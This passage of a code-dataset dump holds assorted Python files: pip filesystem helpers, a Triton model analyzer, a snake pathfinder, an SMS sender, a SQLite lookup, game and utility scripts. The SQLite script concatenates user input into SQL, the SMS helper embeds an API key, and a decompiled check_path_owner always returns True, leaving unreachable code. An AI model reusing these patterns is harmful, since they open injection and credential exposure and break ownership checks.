pip._vendor.retrying import retry\nfrom pip._vendor.six import PY2\nfrom pip._internal.utils.compat import get_path_uid\nfrom pip._internal.utils.typing import MYPY_CHECK_RUNNING, cast\nif MYPY_CHECK_RUNNING:\n from typing import BinaryIO, Iterator\n\n class NamedTemporaryFileResult(BinaryIO):\n\n @property\n def file(self):\n pass\n\n\nelse:\n\n def check_path_owner(path):\n return sys.platform == 'win32' or hasattr(os, 'geteuid') or True\n assert os.path.isabs(path)\n previous = None\n while path != previous:\n if os.path.lexists(path):\n if os.geteuid() == 0:\n try:\n path_uid = get_path_uid(path)\n except OSError:\n return False\n else:\n return path_uid == 0\n return os.access(path, os.W_OK)\n else:\n previous, path = path, os.path.dirname(path)\n\n return False\n\n\n def copy2_fixed(src, dest):\n \"\"\"Wrap shutil.copy2() but map errors copying socket files to\n SpecialFileError as expected.\n\n See also https://bugs.python.org/issue37700.\n \"\"\"\n try:\n shutil.copy2(src, dest)\n except (OSError, IOError):\n for f in [src, dest]:\n try:\n is_socket_file = is_socket(f)\n except OSError:\n pass\n else:\n if is_socket_file:\n raise shutil.SpecialFileError('`%s` is a socket' % f)\n\n raise\n\n\n def is_socket(path):\n return stat.S_ISSOCK(os.lstat(path).st_mode)\n\n\n @contextmanager\n def adjacent_tmp_file(path):\n \"\"\"Given a path to a file, open a temp file next to it securely and ensure\n it is written to disk after the context reaches its end.\n \"\"\"\n with NamedTemporaryFile(delete=False,\n dir=(os.path.dirname(path)),\n prefix=(os.path.basename(path)),\n suffix='.tmp') as (f):\n result = cast('NamedTemporaryFileResult', f)\n try:\n yield result\n finally:\n result.file.flush()\n os.fsync(result.file.fileno())\n\n\n _replace_retry = retry(stop_max_delay=1000, wait_fixed=250)\n if PY2:\n\n @_replace_retry\n def replace(src, dest):\n try:\n os.rename(src, dest)\n except OSError:\n os.remove(dest)\n os.rename(src, dest)\n\n\n else:\n replace = _replace_retry(os.replace)\n\ndef test_writable_dir(path):\n \"\"\"Check if a directory is writable.\n\n Uses os.access() on POSIX, tries creating files on Windows.\n \"\"\"\n while not os.path.isdir(path):\n parent = os.path.dirname(path)\n if parent == path:\n break\n path = parent\n\n if os.name == 'posix':\n return os.access(path, os.W_OK)\n return _test_writable_dir_win(path)\n\n\ndef _test_writable_dir_win(path):\n basename = 'accesstest_deleteme_fishfingers_custard_'\n alphabet = 'abcdefghijklmnopqrstuvwxyz0123456789'\n for i in range(10):\n name = basename + ''.join((random.choice(alphabet) for _ in range(6)))\n file = os.path.join(path, name)\n try:\n fd = os.open(file, os.O_RDWR | os.O_CREAT | os.O_EXCL)\n except OSError as e:\n try:\n if e.errno == errno.EEXIST:\n continue\n if e.errno == errno.EPERM:\n return False\n raise\n finally:\n e = None\n del e\n\n else:\n os.close(fd)\n os.unlink(file)\n return True\n\n raise EnvironmentError('Unexpected condition testing for writable directory')","sub_path":"pycfiles/smriprep_docker-0.5.2-py2.py3-none-any/filesystem.cpython-37.py","file_name":"filesystem.cpython-37.py","file_ext":"py","file_size_in_byte":4260,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"510878680","text":"import json\nfrom pprint import pprint\nimport itertools\n\n\nwith open('json/scanplot.json', encoding='utf-8') as f:\n data = json.load(f)\n\ndef select(teste1,teste3,teste4,teste5,teste6,teste7,teste8,teste9,teste10):\n\n result1 = []\n result2 = []\n result3 = []\n result4 = []\n result5 = []\n result6 = []\n result7 = []\n result8 = []\n result9 = []\n result10 = []\n \n\n for a in range(0,teste1): \n var1 = data['var_scantec'][0]['position'][a]\n result1.append(var1)\n\n var2 = data['var_scantec'][1]['previsao'][a]\n result2.append(var2)\n\n for c in range(0,teste3): \n var3 = data['var_scantec'][2]['estatistica'][c]\n result3.append(var3)\n \n for c in range(0,teste4): \n var4 = data['var_scantec'][3]['title'][c]\n result4.append(var4)\n \n for e in range(0,teste5): \n var5 = data['var_scantec'][4]['level'][e]\n result5.append(var5)\n\n for f in range(0,teste6): \n var6 = data['var_scantec'][5]['positionSCANTEC'][f]\n result6.append(var6) \n\n for g in range(0,teste7): \n var7 = data['var_scantec'][6]['regiao'][g]\n result7.append(var7)\n\n for h in range(0,teste8): \n var8 = data['var_scantec'][7]['experimentos'][h]\n result8.append(var8) \n \n for i in range(0,teste9): \n var9 = data['var_scantec'][8]['horario'][i]\n result9.append(var9)\n\n for j in range(0,teste10): \n var10 = data['var_scantec'][9]['frequencia'][j]\n result10.append(var10) \n\n return (result1,result2,result3,result4,result5,result6,result7,result8,result9,result10)\n\n\n\n\n\n\n#\n#\n##https://developer.rhino3d.com/guides/rhinopython/python-xml-json/\n##https://codingnetworker.com/2015/10/python-dictionaries-json-crash-course/\n#\n","sub_path":"teste_scamtec_plot_v110/tmp/fjso.py","file_name":"fjso.py","file_ext":"py","file_size_in_byte":1680,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"385210048","text":"# Copyright (c) 2020, NVIDIA CORPORATION. All rights reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport time\nimport logging\nfrom collections import defaultdict\n\nfrom model_analyzer.model_analyzer_exceptions \\\n import TritonModelAnalyzerException\nfrom .monitor.dcgm.dcgm_monitor import DCGMMonitor\nfrom .monitor.cpu_monitor import CPUMonitor\nfrom .perf_analyzer.perf_analyzer import PerfAnalyzer\nfrom .perf_analyzer.perf_config import PerfAnalyzerConfig\nfrom .record.record_aggregator import RecordAggregator\nfrom .output.output_table import OutputTable\n\nlogger = logging.getLogger(__name__)\n\n\nclass Analyzer:\n \"\"\"\n A class responsible for coordinating the various components of the\n model_analyzer. Configured with metrics to monitor, exposes profiling and\n result writing methods.\n \"\"\"\n\n def __init__(self, config, monitoring_metrics, server):\n \"\"\"\n Parameters\n ----------\n config : Config\n Model Analyzer config\n monitoring_metrics : List of Record types\n The list of metric types to monitor.\n server : TritonServer handle\n \"\"\"\n\n self._perf_analyzer_path = config.perf_analyzer_path\n self._duration_seconds = config.duration_seconds\n self._monitoring_interval = config.monitoring_interval\n self._monitoring_metrics = monitoring_metrics\n self._param_inference_headers = ['Model', 'Batch', 'Concurrency']\n self._param_gpu_headers = ['Model', 'GPU ID', 'Batch', 'Concurrency']\n self._gpus = config.gpus\n self._server = server\n\n # Separates metric list into perf_analyzer related and DCGM related lists\n self._dcgm_metrics = set()\n self._perf_metrics = set()\n self._cpu_metrics = set()\n\n for metric in self._monitoring_metrics:\n if metric in DCGMMonitor.model_analyzer_to_dcgm_field:\n self._dcgm_metrics.add(metric)\n elif metric in PerfAnalyzer.perf_metrics:\n self._perf_metrics.add(metric)\n elif metric in CPUMonitor.cpu_metrics:\n self._cpu_metrics.add(metric)\n\n self._tables = {\n 'server_gpu_metrics':\n self._create_gpu_output_table('Server Only'),\n 'model_gpu_metrics':\n self._create_gpu_output_table('Models (GPU Metrics)'),\n 'model_inference_metrics':\n self._create_inference_output_table('Models (Inference)')\n }\n\n def profile_server_only(self, default_value='0'):\n \"\"\"\n Runs the DCGM monitor on the triton server without the perf_analyzer\n\n Parameters\n ----------\n default_value : str\n The value to fill in for columns in the table that don't apply to\n profiling server only\n\n Raises\n ------\n TritonModelAnalyzerException\n \"\"\"\n\n logging.info('Profiling server only metrics...')\n dcgm_monitor = DCGMMonitor(self._gpus, self._monitoring_interval,\n self._dcgm_metrics)\n cpu_monitor = CPUMonitor(self._server, self._monitoring_interval,\n self._cpu_metrics)\n server_only_gpu_metrics, _ = self._profile(perf_analyzer=None,\n dcgm_monitor=dcgm_monitor,\n cpu_monitor=cpu_monitor)\n\n gpu_metrics = defaultdict(list)\n for _, metric in server_only_gpu_metrics.items():\n for gpu_id, metric_value in metric.items():\n gpu_metrics[gpu_id].append(metric_value)\n\n for gpu_id, metric in gpu_metrics.items():\n # Model name here is triton-server, batch and concurrency\n # are defaults\n output_row = [\n 'triton-server', gpu_id, default_value, default_value\n ]\n output_row += metric\n self._tables['server_gpu_metrics'].add_row(output_row)\n dcgm_monitor.destroy()\n cpu_monitor.destroy()\n\n def profile_model(self, run_config, perf_output_writer=None):\n \"\"\"\n Runs monitors while running perf_analyzer with a specific set of\n arguments. This will profile model inferencing.\n\n Parameters\n ----------\n run_config : dict\n The keys are arguments to perf_analyzer The values are their\n values\n perf_output_writer : OutputWriter\n Writer that writes the output from perf_analyzer to the output\n stream/file. If None, the output is not written\n\n Raises\n ------\n TritonModelAnalyzerException\n \"\"\"\n\n logging.info(f\"Profiling model {run_config['model-name']}...\")\n dcgm_monitor = DCGMMonitor(self._gpus, self._monitoring_interval,\n self._dcgm_metrics)\n cpu_monitor = CPUMonitor(self._server, self._monitoring_interval,\n self._cpu_metrics)\n perf_analyzer = PerfAnalyzer(\n path=self._perf_analyzer_path,\n config=self._create_perf_config(run_config))\n\n # Get metrics for model inference and write perf_output\n model_gpu_metrics, inference_metrics = self._profile(\n perf_analyzer=perf_analyzer,\n dcgm_monitor=dcgm_monitor,\n cpu_monitor=cpu_monitor)\n\n if perf_output_writer:\n perf_output_writer.write(perf_analyzer.output() + '\\n')\n\n # Process GPU Metrics\n gpu_metrics = defaultdict(list)\n for _, metric in model_gpu_metrics.items():\n for gpu_id, metric_value in metric.items():\n gpu_metrics[gpu_id].append(metric_value)\n\n for gpu_id, metrics in gpu_metrics.items():\n # Model name here is triton-server, batch and concurrency\n # are defaults\n output_row = [\n run_config['model-name'], gpu_id, run_config['batch-size'],\n run_config['concurrency-range']\n ]\n output_row += metrics\n self._tables['model_gpu_metrics'].add_row(output_row)\n\n # Process Inference Metrics\n output_row = [\n run_config['model-name'], run_config['batch-size'],\n run_config['concurrency-range']\n ]\n\n output_row += inference_metrics.values()\n self._tables['model_inference_metrics'].add_row(output_row)\n\n dcgm_monitor.destroy()\n cpu_monitor.destroy()\n\n def write_results(self, writer, column_separator):\n \"\"\"\n Writes the tables using the writer with the given column\n specifications.\n\n Parameters\n ----------\n writer : OutputWriter\n Used to write the result tables to an output stream\n column_separator : str\n The string that will be inserted between each column\n of the table\n\n Raises\n ------\n TritonModelAnalyzerException\n \"\"\"\n\n for table in self._tables.values():\n self._write_result(table,\n writer,\n column_separator,\n ignore_widths=False)\n\n def export_server_only_csv(self, writer, column_separator):\n \"\"\"\n Writes the server-only table as a csv file using the given writer\n\n Parameters\n ----------\n writer : OutputWriter\n Used to write the result tables to an output stream\n column_separator : str\n The string that will be inserted between each column\n of the table\n\n Raises\n ------\n TritonModelAnalyzerException\n \"\"\"\n\n self._write_result(self._tables['server_gpu_metrics'],\n writer,\n column_separator,\n ignore_widths=True,\n write_table_name=False,\n include_title=False)\n\n def export_model_csv(self, inference_writer, gpu_metrics_writer,\n column_separator):\n \"\"\"\n Writes the model table as a csv file using the given writer\n\n Parameters\n ----------\n inference_writer : OutputWriter\n Used to write the inference table result to an output stream\n gpu_metrics_writer : OutputWriter\n Used to write the gpu metrics table result to an output stream\n column_separator : str\n The string that will be inserted between each column\n of the table\n\n Raises\n ------\n TritonModelAnalyzerException\n \"\"\"\n\n self._write_result(self._tables['model_gpu_metrics'],\n gpu_metrics_writer,\n column_separator,\n ignore_widths=True,\n write_table_name=False,\n include_title=False)\n\n self._write_result(self._tables['model_inference_metrics'],\n inference_writer,\n column_separator,\n ignore_widths=True,\n write_table_name=False,\n include_title=False)\n\n def _write_result(self,\n table,\n writer,\n column_separator,\n ignore_widths=False,\n write_table_name=True,\n include_title=True):\n \"\"\"\n Utility function that writes any table\n \"\"\"\n\n if include_title:\n writer.write('\\n'.join([\n table.title() + \":\",\n table.to_formatted_string(separator=column_separator,\n ignore_widths=ignore_widths), \"\\n\"\n ]))\n else:\n writer.write(\n table.to_formatted_string(separator=column_separator,\n ignore_widths=ignore_widths) +\n \"\\n\\n\")\n\n def _profile(self, perf_analyzer, dcgm_monitor, cpu_monitor):\n \"\"\"\n Utility function that runs the perf_analyzer\n and DCGMMonitor once.\n\n Raises\n ------\n TritonModelAnalyzerException\n if path to perf_analyzer binary could\n not be found.\n \"\"\"\n\n # Start monitors and run perf_analyzer\n dcgm_monitor.start_recording_metrics()\n cpu_monitor.start_recording_metrics()\n if perf_analyzer:\n try:\n perf_records = perf_analyzer.run(self._perf_metrics)\n except FileNotFoundError as e:\n raise TritonModelAnalyzerException(\n f\"perf_analyzer binary not found : {e}\")\n else:\n perf_records = []\n time.sleep(self._duration_seconds)\n dcgm_records = dcgm_monitor.stop_recording_metrics()\n cpu_records = cpu_monitor.stop_recording_metrics()\n\n # Insert all records into aggregator and get aggregated DCGM records\n record_aggregator = RecordAggregator()\n for record in dcgm_records:\n record_aggregator.insert(record)\n\n records_groupby_gpu = {}\n records_groupby_gpu = record_aggregator.groupby(\n self._dcgm_metrics, lambda record: record.device().device_id())\n\n perf_and_cpu_record_aggregator = RecordAggregator()\n for record in perf_records + cpu_records:\n perf_and_cpu_record_aggregator.insert(record)\n return records_groupby_gpu, perf_and_cpu_record_aggregator.aggregate()\n\n def _create_inference_output_table(self, title, aggregation_tag='Max'):\n \"\"\"\n Utility function that creates a table with column\n headers corresponding to perf_analyzer arguments\n and requested metrics.\n \"\"\"\n\n # Create headers\n table_headers = self._param_inference_headers[:]\n for metric in self._monitoring_metrics:\n if metric not in self._dcgm_metrics:\n table_headers.append(metric.header(aggregation_tag + \" \"))\n return OutputTable(headers=table_headers, title=title)\n\n def _create_gpu_output_table(self, title, aggregation_tag='Max'):\n\n # Create headers\n table_headers = self._param_gpu_headers[:]\n for metric in self._dcgm_metrics:\n table_headers.append(metric.header(aggregation_tag + \" \"))\n return OutputTable(headers=table_headers, title=title)\n\n def _create_perf_config(self, params):\n \"\"\"\n Utility function for creating\n a PerfAnalyzerConfig from\n a dict of parameters.\n \"\"\"\n\n config = PerfAnalyzerConfig()\n for param, value in params.items():\n config[param] = value\n return config\n","sub_path":"model_analyzer/analyzer.py","file_name":"analyzer.py","file_ext":"py","file_size_in_byte":13302,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"475276689","text":"import collections\nimport heapq\nimport math\nimport random\n\nimport pygame\n\n# Find clear paths to food\n# for each clear path, if it has a clear path to the current tail, then take it\n# otherwise keep searching for other clear paths to food\n# if all paths have been exhaused\n# find any clear path to touch tail\n\n\n# use a hash map to keep track of snake's body part -> steps before it disappears\n# use a running counter of steps so that hashmap[node] - count is number of steps when it will disappear\n\n# use a queue to keep track of the order of the snakes body, pop the tail (and delete from hashmap)\n# and append to head the new position\n\n# over constrained when not alloewd to visit the same point twice\n# allow the snake to visit the same point a second time (but not a third time)\n# so long as it does not hit the body\n\n# change visited to a path and cannot visit the same point twice or step on visited[-body_length:]\n\n\nclass Game():\n def __init__(self, **kwargs):\n for key in kwargs:\n self.__dict__[key] = kwargs[key]\n \n def run():\n pass\n \n def draw():\n pass\n \n \nclass Segment():\n def __init__(self):\n pass\n \n \ndef spawn_food(snake, rows, cols):\n global food\n food = random_loc(rows, cols)\n while food in snake.body:\n food = random_loc(rows, cols)\n\ndef random_loc(rows, cols):\n return random.randint(0, cols-1), random.randint(0, rows-1)\n\nclass PQNode:\n def __init__(self, heuristic, position, visited, steps, counter):\n self.h = heuristic\n self.p = position\n self.v = visited\n self.s = steps\n self.c = counter\n \n def __lt__(self, other):\n return (self.h, len(self.v)) < (other.h, len(other.v))\n\nclass PathFinder:\n \"\"\"\n Performs an exhaustive search from start to target and back to tail.\n 1. If such a path exists, returns path from start to target.\n 2. If such a path deos not exist, returns path from start to tail.\n Uses priority queue and a_star like heuristic to reduce runtime.\n Prunes search through early stoppping if any solution that meets criteria 1 is found.\n \"\"\"\n def __init__(self, start, target, tail, obstacles, steps):\n self.start = start\n self.target = target\n self.tail = tail\n self.obstacles = obstacles\n self.steps = steps\n self.found_food = False\n \n def is_path_to_tail(self, start, visited, steps):\n \"\"\"\n Perform BFS from start to find any path from start to self.tail.\n start can be either food and visited are the nodes stepped on to reach the food\n or start can be self.start and visited is empty.\n \n Return True if a path exists from start to self.tail.\n \"\"\"\n q = [(start, steps, visited)]\n while q:\n next_level = []\n for p, s, visited in q:\n for neigh in graph[p]:\n if neigh == self.tail:\n return True\n \n if neigh not in visited[-len(self.obstacles):] and self.obstacles[neigh] <= s:\n v = visited[:]\n v.append(neigh)\n next_level.append((neigh, s+1, v))\n q = next_level\n return False\n \n def exhaustive_search(self):\n node = PQNode(self.heuristic(self.start, self.start, self.target),\n self.start, [], self.steps, collections.defaultdict(int))\n q = [node] # (h) heuristic, (p) position, (v) visited path, (s) steps taken - offset included, (c) count for each space\n while q:\n node = heapq.heappop(q)\n p, v, s, c = node.p, node.v, node.s, node.c\n \n # if we reached the food, check if a path exists from food to tail\n if p == self.target:\n if self.is_path_to_tail(p, v.copy(), s):\n v.append(self.target)\n self.found_food = True\n return v\n \n for neigh in graph[p]:\n if (neigh not in v[-len(self.obstacles):]) and (self.obstacles[neigh] <= s) and (c[neigh] < 2):\n v_ = v.copy()\n v_.append(neigh)\n c_ = c.copy()\n c_[neigh] += 1\n next_node = PQNode(self.heuristic(neigh, self.start, self.target),\n neigh,\n v_,\n s + 1,\n c_\n )\n heapq.heappush(q, next_node)\n \n # No safe path to food and back to tail was found, find path directly to tail\n self.target = self.tail\n return self.exhaustive_search()\n \n @staticmethod\n def manhattan(row1, col1, row2, col2):\n return abs(row1 - row2) + abs(col1 - col2)\n \n def heuristic(self, position, origin, target):\n \"\"\"\n Evenly balanced f(x) + g(x) heuristic is guaranteed to seek the shortest path first\n while still reducing the overall search space.\n \n position: (int(row), int(col)) current position\n origin: (row, col) Initial starting position\n target: (row, col) Target position\n \"\"\"\n return self.manhattan(*position, *origin) + self.manhattan(*position, *target)\n \nclass Snake():\n def __init__(self, start_position):\n self.pos = start_position\n self.tail = start_position\n self.body = collections.deque([start_position])\n self.obstacles = collections.defaultdict(int)\n self.obstacles[start_position] = 0\n self.steps = 0\n self.safe_path = []\n \n def step(self):\n tail_return = self.tail\n self._seek_path()\n self._follow_safe_path()\n self._update_obstacles()\n self._seek_path_to_tail(tail_return)\n self._update_obstacles()\n \n \n def _seek_path(self):\n \"\"\"Finds a safe path for the snake to reach food from the current position.\"\"\"\n solver = PathFinder(self.pos, food, self.tail, self.obstacles, self.steps)\n v = solver.exhaustive_search()\n self.safe_path = v\n print(v, self.pos)\n \n def _seek_path_to_tail(self, tail_return):\n \"\"\"Finds a safe path for the snake to reach tail from the current position.\"\"\"\n solver = PathFinder(self.pos, tail_return, self.tail, self.obstacles, self.steps)\n v = solver.exhaustive_search()\n print(v, self.pos)\n self.safe_path = v\n \n def _follow_safe_path(self):\n self.body.appendleft(self.safe_path[0]) # add new head\n for i in range(1, len(self.safe_path)):\n self.body.pop()\n self.body.appendleft(self.safe_path[i])\n self.tail = self.body[-1]\n self.pos = self.body[0]\n \n def _update_obstacles(self):\n self.obstacles = collections.defaultdict(int)\n for i in range(len(self.body)+1):\n self.obstacles[self.body[-i]] = i\n \ndef show_grid(snake, R, C):\n arr = [[0]*C for _ in range(R)]\n arr[food[0]][food[1]] = 2\n for i, j in snake.body:\n arr[i][j] = 1\n for row in arr:\n print(row)\n print()\n \nif __name__ == \"__main__\":\n global grid, graph, food\n \n settings = {\"WIDTH\": 800,\n \"HEIGHT\": 800,\n \"ROWS\": 6,\n \"COLUMNS\": 6,\n \"SLEEP_TIME\": 0,\n \"LOCK_TIME\": 0.2\n }\n \n #g = Game()\n #g.run()\n \n R, C = settings[\"ROWS\"], settings[\"COLUMNS\"]\n s = Snake(random_loc(R, C))\n spawn_food(s, R, C)\n \n graph = collections.defaultdict(list)\n for i in range(R):\n for j in range(C):\n a = (i, j)\n if i:\n b = (i-1, j)\n graph[a].append(b)\n graph[b].append(a)\n if j:\n b = (i, j-1)\n graph[a].append(b)\n graph[b].append(a)\n \n show_grid(s, R, C)\n for _ in range(30):\n s.step()\n spawn_food(s, R, C)\n show_grid(s, R, C)\n \n print(len(s.body))\n \n \n \n \n \n \n \n \n \n \n \n \n \n ","sub_path":"drafts/perfect_snake_game_trial2.py","file_name":"perfect_snake_game_trial2.py","file_ext":"py","file_size_in_byte":8319,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"356500412","text":"# coding:utf-8\nimport requests\nimport random\n\n\ndef check_phone(s):\n phone_prefix = ['130', '131', '132', '133', '134', '135', '136', '137', '138', '139', '150',\n '151', '152', '153', '156', '158', '157', '159', '170', '183', '182', '185',\n '186', '188', '189', '173']\n if len(s) != 11:\n return False\n else:\n if s.isdigit():\n if s[0] != '1':\n return False\n if s[:3] not in phone_prefix:\n return False\n else:\n return False\n return True\n\n\ndef send_code(phone, code, code_type=1):\n if code_type == 1:\n payload = {\n 'mobile': phone,\n 'apikey': '10cd641beb96fbf7910f1bbd15f62cdb',\n 'text': '【富邦消防】您的登陆密码为%s,请使用您的手机号作为用户名登陆APP。' % code,\n }\n else:\n payload = {\n 'mobile': phone,\n 'apikey': '10cd641beb96fbf7910f1bbd15f62cdb',\n 'text': '【富邦消防】您的验证码为%s,该验证码5分钟内有效。' % code,\n }\n res = requests.post('https://sms.yunpian.com/v1/sms/send.json', payload)\n return res\n\n\ndef random_code():\n \"\"\" produce random code(4)\"\"\"\n res = str(random.randint(0, 9999)).zfill(4)\n return res\n","sub_path":"common/checkphone.py","file_name":"checkphone.py","file_ext":"py","file_size_in_byte":1329,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"213182085","text":"import sqlite3 as sql\n\n# connect to the database\nconn = sql.connect('C:\\Projects\\Elliotte\\Model\\Database\\model.db')\ncursor = conn.cursor()\n\n# get player to select\nplayer_name = input(\"Player Name: \")\nfirst_name = player_name.split()[0]\nlast_name = player_name.split()[1]\n\n# create query\nquery = \"SELECT * FROM players WHERE last_name='\"+last_name+\"' and first_name='\"+first_name+\"';\"\n\n# display query\nprint(query)\n\n# execute query\ncursor.execute(query)\n\n# display results\nprint(cursor.fetchall())\n\n# close connection\ncursor.close()\nconn.close()\n\n\n","sub_path":"Database Queries/SelectPlayer.py","file_name":"SelectPlayer.py","file_ext":"py","file_size_in_byte":547,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"68385738","text":"import math\r\n\r\nimport gs\r\nimport gs.plus.render as render\r\nimport gs.plus.input as input\r\nimport gs.plus.scene as scene\r\nimport gs.plus.clock as clock\r\nimport gs.plus.audio as audio\r\n\r\nimport globals\r\nimport level_game\r\n\r\nscn = None\r\ndt_sec = 1.0 / 60.0\r\nscreen_clock = 0.0\r\ntitle_music = None\r\n\r\ndef setup():\r\n\tglobal scn, title_music\r\n\tscn = scene.new_scene()\r\n\tscn.Load('@assets/3d/level_title.scn', gs.SceneLoadContext(render.get_render_system()))\r\n\ttitle_music = audio.get_mixer().Stream(\"@assets/sfx/sfx_cellos_loop.ogg\")\r\n\t# audio.get_mixer().SetChannelState(title_music, gs.MixerChannelState(0.0, 1.0, gs.MixerRepeat))\r\n\r\n\r\ndef exit():\r\n\taudio.get_mixer().Stop(title_music)\r\n\tscene.Clear(scn)\r\n\r\n\r\ndef update():\r\n\tglobal dt_sec\r\n\tdt_sec = clock.update()\r\n\tscene.update_scene(scn, dt_sec)\r\n\tif input.key_press(gs.InputDevice.KeyEnter):\r\n\t\tglobals.current_scene = level_game\r\n\r\n\r\ndef draw():\r\n\tglobal screen_clock\r\n\r\n\tdef fade_sin(fade):\r\n\t\treturn (math.cos(fade * 3.0) + 1.0) * 0.5\r\n\r\n\tsize = render.get_renderer().GetCurrentOutputWindow().GetSize()\r\n\tx = size.x * 0.5 - 100.0\r\n\ty = size.y * 0.5 - 210.0\r\n\tfont_size = 80\r\n\tscreen_clock += dt_sec\r\n\r\n\trender.text2d(x - size.x * 0.001, y - size.y * 0.001, \"Press Enter\", font_size, gs.Color(0,0,0, fade_sin(screen_clock) * 0.5), globals.font_garamond)\r\n\trender.text2d(x, y, \"Press Enter\", font_size, gs.Color(1,1,1, fade_sin(screen_clock)), globals.font_garamond)\r\n\r\n\ty -= 40\r\n\trender.text2d(300, y - 20.0, \"The MedieCross Project 2010-2015, made for TigSource.com.\", 30, gs.Color.Black, globals.font_garamond)\r\n\trender.text2d(350, y - 50.0, \"Code : Emmanuel Julien - Art : Francois Gutherz\", 30, gs.Color.Black, globals.font_garamond)\r\n\trender.text2d(360, y - 80.0, \"Animation : Ryan Hagen - Engine : Harfang3D\", 30, gs.Color.Black, globals.font_garamond)","sub_path":"game/level_title.py","file_name":"level_title.py","file_ext":"py","file_size_in_byte":1812,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"430524931","text":"import os\nimport json\nimport sys\n\nin_file = sys.argv[1]\nout_file = sys.argv[2]\nchef_env = sys.argv[3]\n\n\nwith open(in_file, \"r\") as inFile:\n data = json.load(inFile)\n\nwith open(out_file, \"r\") as outFile:\n new_data = json.load(outFile)\n\nnew_data[\"default_attributes\"][\"IPS_Sites\"] = data[\"default_attributes\"][\"IPS_Sites\"]\n\nwith open(out_file, \"w\") as outFile:\n json.dump(new_data, outFile)","sub_path":"scripts/update_envfile.py","file_name":"update_envfile.py","file_ext":"py","file_size_in_byte":397,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"165332079","text":"\ndef pay(hours, rate):\n if hours <= 40:\n taxrate = 21/100\n gross = hours * rate\n tax = gross * taxrate\n net = gross - tax\n print('Your gross pay is ' , hours * rate)\n print('Your tax is ' , gross * taxrate)\n print('Your net pay is ' , net)\n\n if hours > 40:\n \n taxrate = 21/100\n gross = 40 * rate\n tax = gross * taxrate\n net = gross - tax\n print('Your gross pay without overtime is ' , 40 * rate)\n print('Your tax is ' , gross * taxrate)\n print('Your net without overtime pay is ' , net)\n print(\" \")\n overhours = hours - 40\n overrate = 1.5\n overgross = overhours * rate\n overtax = overgross * taxrate\n overnet = overgross - tax\n overpay = overnet * overrate\n print('Your overtime gross is ' , overtax + overpay)\n print('Your overtime tax is ' , overtax)\n print('Your overtime pay is ' , overpay)\n print('Your net pay with overtime is' , overpay + net)\n\n\n#####################################\n# Usage:\n\nhours = int(float(input(\"Enter your hours worked:\")))\nrate = int(float(input(\"Enter the pay rate:\")))\nsum = pay(hours, rate)\n\n\n\n","sub_path":"GuoAssignments/TaxCalculation/hw1_taxcalculation.py","file_name":"hw1_taxcalculation.py","file_ext":"py","file_size_in_byte":1112,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"383703019","text":"import utils\n\ndef decodeRequest(reqString):\n reqParams = {}\n reqStringList = reqString.split(\"\\r\\n\")\n method, uri, protocol = reqStringList.pop(0).split(\" \")\n for param in reqStringList:\n if(len(param) > 0):\n key, val = param.split(\":\", 1)\n reqParams[key.strip()] = val.strip()\n else:\n break#We've finished parsing headers, everything after this is body\n #Check to see if there are parameters in the uri\n reqParams[\"Body\"] = \"\"\n if(\"?\" in uri):\n uri, params = uri.split(\"?\", 1)\n reqParams[\"Body\"] += params.strip()\n if(reqStringList[len(reqParams)].strip()):\n reqParams[\"Body\"] += \"&\" + reqStringList[len(reqParams)]\n reqParams[\"Method\"] = method.lower()\n reqParams[\"uri\"] = uri\n reqParams[\"Protocol\"] = protocol\n return(reqParams)\n\ndef makeResHeader(status=200, length=None, headerDict={}):\n headerString = \"\"\n headerString += \"HTTP/1.1 \" + str(status) + \"\\r\\n\"\n if(length == None):\n headerString += \"Content-Length: \"+str(length)+\"\\r\\n\"\n headerString += \"Status: \" + str(status) + \"\\r\\n\"\n for key in headerDict:\n headerString += key + \": \" + str(headerDict[key]) + \"\\r\\n\"\n headerString += \"\\r\\n\"\n return(headerString)\n\ndef parseFirstHeaderLine(reqString):\n method, uri, protocol = reqString.split(\"\\r\\n\")[0].split(\" \")\n return((method, uri, protocol))\n\ndef streamReqRes(fileObj, configDict, conn, status, headerDict={}):\n blockSize = int(configDict[\"sendBlockSize\"])\n buff = fileObj.read(blockSize)\n header = makeResHeader(status, None, headerDict)\n conn.send(header)\n while(buff):\n conn.send(buff)\n buff = fileObj.read(blockSize)\n logLine = str(status) + \" \" + str(conn.getpeername()[0])\n conn.close()\n return(logLine)\n\ndef sendReqRes(resBody, configDict, conn, status, headerDict={}):\n header = makeResHeader(status, len(resBody), headerDict)\n logLine = str(status) + \" \" + str(conn.getpeername()[0])\n conn.sendall(header + resBody)\n conn.close()\n return(logLine)\n","sub_path":"httpLib.py","file_name":"httpLib.py","file_ext":"py","file_size_in_byte":2066,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"159640432","text":"import scipy.io as scpio\ndef loadmat(filename):\n '''\n Wonderfully useful function to load nested Matlab structures.\n Stolen from a Stack Overflow question a long time ago.\n\n this function should be called instead of direct scipy.io.loadmat\n as it cures the problem of not properly recovering python dictionaries\n from mat files. It calls the function check keys to cure all entries\n which are still mat-objects\n '''\n data = scpio.loadmat(filename, struct_as_record=False, squeeze_me=True)\n return _check_keys(data)\n\n\ndef _check_keys(dict):\n '''\n checks if entries in dictionary are mat-objects. If yes\n todict is called to change them to nested dictionaries\n '''\n for key in dict:\n if isinstance(dict[key], scpio.matlab.mio5_params.mat_struct):\n dict[key] = _todict(dict[key])\n 